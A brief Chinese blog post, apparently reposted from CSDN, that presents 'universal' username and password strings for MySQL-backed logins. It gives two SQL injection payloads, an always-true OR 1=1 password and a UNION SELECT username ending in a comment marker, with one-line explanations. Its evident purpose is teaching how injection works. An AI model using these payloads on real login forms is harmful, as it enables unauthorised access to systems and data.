23-mysql万能用户名和万能密码

1.万能密码

注入的时候写入用户名 aa 密码 ‘bb’ or 1=1

2.万能用户名

注入的时候

用户名为（注意：不加sql中的分号）： aa union select * from user /*

密码：随便

union表示联合查询

/* 表示后面的sql语句不执行

版权声明：本文来源CSDN，感谢博主原创文章，遵循 CC 4.0 by-sa 版权协议，转载请附上原文出处链接和本声明。
原文链接：https://blog.csdn.net/u010653050/article/details/51074841
站方申明：本站部分内容来自社区用户分享，若涉及侵权，请联系站方删除。

发表于 2021-06-13 17:09:05
阅读 ( 764 )
分类：数据库

23-mysql万能用户名和万能密码

你可能感兴趣的文章

精选的优质文章

0 条评论

官方社群

GO教程

推荐文章

猜你喜欢

随便看看